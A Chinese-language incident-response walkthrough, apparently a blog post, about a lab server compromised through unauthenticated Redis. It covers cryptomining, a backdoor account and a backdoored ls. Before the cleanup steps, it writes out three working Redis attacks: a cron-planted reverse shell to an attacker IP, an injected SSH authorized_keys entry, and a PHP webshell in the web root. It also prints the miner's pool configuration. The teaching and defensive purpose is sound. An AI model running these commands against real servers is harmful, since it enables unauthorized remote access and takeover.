應急響應-挖礦問題

場景

​ 有客戶反饋其所使用的服務器近期突然網站打開特別慢,但是網站訪問人數較前期並無明顯變化,服務器CPU利用率較高。同時客戶接到投訴反映通過搜索引擎搜索該網站點擊後會跳轉到博彩網站。請協助客戶分析該服務器遭受何種攻擊並恢復服務器正常運行。同時幫助客戶清理惡意程序,阻止黑客再次入侵。

A:首先top看一下cpu內存佔用情況
0

B:登錄服務器先查看一下端口情況,發現開啓了redis-server

並且可以看到redis-server監聽在0.0.0.0:6379

0

C:查看是否存在redis未授權訪問

redis-cli -h 192.168.52.135

查看redis版本信息、一些具體信息、服務器版本信息等等:info

查看所有鍵:KEYS *

0

可以看到redsi存在未授權訪問

0

D:判斷redsi是否爲root權限

netstat -anptl 
ps -aux| grep 30

發現redis是root用戶啓動的,且同時redis存在未授權訪問

0

redis未授權一般利用方式有以下三種:

第一種:反彈shell

root@kali:~# redis-cli -h 192.168.52.135
192.168.52.135:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/2333 0>&1\n\n"     //1分鐘後執行計劃任務
OK
192.168.52.135:6379> config set dir /var/spool/cron
OK
192.168.52.135:6379> config set dbfilename root
OK
192.168.52.135:6379> save
OK

可以看到成功寫入計劃任務

0

第二種:寫ssh-keygen公鑰,然後使用私鑰登陸

在以下條件下,可以利用此方法

  • Redis服務使用ROOT賬號啓動
  • 服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。

首先在本地生成一對密鑰:

ssh-keygen -t rsa

0

然後redis執行命令:

root@kali:~# redis-cli -h 192.168.52.135
192.168.52.135:6379> config set dir /root/.ssh/
OK
192.168.52.135:6379> config set dbfilename authorized_keys
OK
192.168.52.135:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiF1o01tlJug4myll3sN/z3IRABopXPAIQMYnCWYxxh7Ud3sLzsSv6sufKyKS3f6Hlrbv7/av0irgwFUHOXn1cBL79SnRvsKsbY3Gqlac+FUKF4BiuHsOOp1SZwJTbYPi1wsCsGpzIAv4FC9h5GuLMgn/XR9boPBd6RyyM+NM34k+so6M1DEY69hRdVm4mspOiBMRt8XDBSGu/daaQvAZQAeE0kmKv9GcAULD06WaEoth1+pRsQ3tIB6C+9dNZEa7ODTtL44mJUqWZVEINUylzJz+LgKw3NLGP/hr1xqoj2mllThCtJJe5axxkYkE1qSf7KFHsAlqtnBoGSrJn5cD9GaT5TVU9sUi289OCQVObpzboNJ6YYAlfoMCH8VSEg6On/NYUY4+qBQdLEPj9fC/XSAOnc0wK6RZ85P8tB1E5RC3JOvZhCjDWCKbuW/cue9ukm+cOY7gvbP1OcXWhFMxw/SI64zvdECyDH0QsdT82kTKVLcVdwunDjENy1TbbCGE= root@kali\n\n\n"
OK
192.168.52.135:6379> save
OK

0

save後可以直接利用公鑰登錄ssh

[root@kali:~# cd .ssh/
[root@kali:~/.ssh# ssh -i id_rsa [email protected]

0

第三種:向web路徑寫webshell

當redis權限不高時,並且服務器開着web服務,在redis有web目錄寫權限時,可以嘗試往web路徑寫webshell

執行以下命令

root@kali:~# redis-cli -h 192.168.52.135
192.168.52.135:6379> config set dir /var/www/html/
OK
192.168.52.135:6379> config set dbfilename shell.php
OK
192.168.52.135:6379> set x ""
OK
192.168.52.135:6379> save
OK

0

http://172.17.0.2/shell.php

0

一般redis未授權修復:

  • 限制登錄ip
  • 添加密碼
  • 修改默認端口

1、redis未授權修復

將redis服務改爲監聽本地,或爲redis訪問設置⼝令即可。

A:首先結束掉redis服務

0

B:修改監聽地址爲127.0.0.1

root@65c7d9159ef6:~# cat /etc/redis/redis.conf

修改redis配置⽂件 將/etc/redis/redis.conf中的 #bind 127.0.0.1 改爲 bind 127.0.0.1

0

或 將/etc/redis/redis.conf中的 # requirepass foobared 改爲 requirepass foobared

0

注:redis修改requirepass 參數 改密碼

參考:https://www.cnblogs.com/ruozhisi/p/12199311.html

\1. 不重啓redis如何配置密碼?

a. 在配置文件中配置requirepass的密碼(當redis重啓時密碼依然有效)。

# requirepass foobared -》 修改成 : requirepass 123

b. 進入redis重定義參數

查看當前的密碼:

連接客戶端:redis-cli

redis 127.0.0.1:6379>

redis 127.0.0.1:6379> config get requirepass

  1. "requirepass"

  2. (nil) 顯示密碼是空的

c. 然後設置密碼:

redis 127.0.0.1:6379> config set requirepass 123

OK

d. 再次查詢密碼:

redis 127.0.0.1:6379> config get requirepass

(error) ERR operation not permitted

此時報錯了!

現在只需要密碼認證就可以了。

redis 127.0.0.1:6379> auth 123

OK

e. 再次查詢密碼:

redis 127.0.0.1:6379> config get requirepass

  1. "requirepass"

  2. "test123"

修改成功

0

C:修改完配置後重新啓動redis服務

使⽤命令 redis-server /etc/redis/redis.conf 啓動redis服務

0

可以看到配置文件已經生效,我們再來驗證下

可以看到連接被拒絕,說明沒有問題

0

2、使用非root用戶啓動redsi服務

使⽤⾮root⽤戶運⾏redis服務即可。

A. 終⽌原redis進程

ps -ef|grep redis-server|awk '{print $2}'|xargs kill -9

0

B.:使⽤⾮root⽤戶啓動redis服務,如,通過init.d中的redis管理項啓動

# 啓動後redis-server的運⾏⽤戶爲redis:redis

root@65c7d9159ef6:~# cd /etc/init.d

root@65c7d9159ef6:/etc/init.d# ./redis-server start

0

3、挖礦進程清除

A:top

0

B.:查看進程清單找出CPU佔⽤⾼的進程

0

root@65c7d9159ef6:~# ps -ef | grep mycoin

發現/usr/share/mycoin/mycoin文件運行時加載的json配置文件中包含礦池地址以及連接的用戶名密碼

root@65c7d9159ef6:~# cat /usr/share/mycoin/config.json
{                                                                                                            
​    "threads":2,                // number of miner threads
​    "pools": [
​        {
​            "url": "stratum+tcp://u1pool.com:18888",               // URL of mining server
​            "user": "UP57on3ZKh6DDVUBv8d97awyrTfE8vXTF5.test01",   // username for mining server 
​            "pass": "x"                                            // password for mining server
​        }
​    ]
}

0

C:終⽌挖礦進程

0

4、Linux開機自啓動排查

參考:https://www.cnblogs.com/shigfdengys/p/11169617.html

A:/etc/init.d/下的腳本

chkconfig --list | grep mycoin

0

參考:https://blog.csdn.net/jlq_diligence/article/details/80680492

B:/etc/rc.local

cat /etc/rc.local | grep mycoin

0

刪除掉 /usr/share/mycoin/mycoin -c /usr/share/mycoin/config.json -B 內容即可

0

C:文件指向路徑是/etc/init.d下的腳本文件

/etc/rc[0-6].d

0

D:設置程序的.desktop文件

program.desktop文件寫法:

[Desktop Entry]

Name=program

Exec=/usr/bin/program

Type=Application

Comment=my program

0

E:crontab定時執行任務

週期執行的任務一般由cron這個守護進程來處理[ps -ef|grep cron]

cron的配置文件稱爲“crontab”,是“cron table”的簡寫

  service crond start //啓動服務

  service crond stop //關閉服務

  service crond restart //重啓服務

  service crond reload //重新載入配置

  service crond status //查看服務狀態

每兩個小時

0 */2 * * * echo "Have a break now." >> /tmp/test.txt

crontab -l //在標準輸出上顯示當前的c

crontab -r // 刪除當前的crontab文件。

crontab -e //使用VISUAL或者EDITOR環境變量所指的編輯器編輯當前的crontab文件,當結束編輯離開時,編輯後的文件將自動安裝。

0

順着計劃任務所指向的文件目錄查找

0

發現挖礦程序和配置文件,但是發現沒有相關進程,說明計劃任務沒有執行

0

刪除上述挖礦程序和配置文件,刪除計劃任務

root@65c7d9159ef6:~# cd /etc/init.d

0

查看mine_srv文件內容,發現

PROG="mining"

PROG_PATH="/usr/local/sbin" ## Not need, but sometimes helpful (if $PROG resides in /opt for example).

PROG_ARGS="-c /etc/mine_srv/config.json -B" 

0

分別查看以上幾個路徑,發現json文件爲挖礦配置文件,但是無相關進程

0

刪除以上可執行程序和配置文件

5、backdoor用戶刪除

在/etc/passwd中發現backdoor用戶,但是刪除是提示backdoor用戶當前被進程1使用

userdel -f backdoor

0

因爲我們現在是root用戶,直接可以修改/etc/passwd和/etc/shadow

刪掉backdoor用戶

0

6、清除ls動態鏈接庫後門
當執行ls命令時,發現提示“backdoor組已經存在”,猜測ls命令被更改了

先刪除backdoor組,然後執行ls命令沒有提示了,再次查看/etc/passwd,發現被添加了backdoor用戶,說明/bin/ls ⽂件的動態鏈接庫中被添加了後⻔程序

0

刪除/bin/ls可執行文件,重新上傳一個從其他服務器上提取的ls文件替換即可。

7、進入web目錄下,清除上傳的webshell

未完。。。

關於可執行文件動態鏈接庫後門如何通過命令查看,也沒找到什麼檢測工具,嘗試了chkrootkit和Gscan發現不行,檢測不出來。
使用ldd ls可以查看該工具使用了哪些動態鏈接庫,但是無法區分是否惡意。。。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章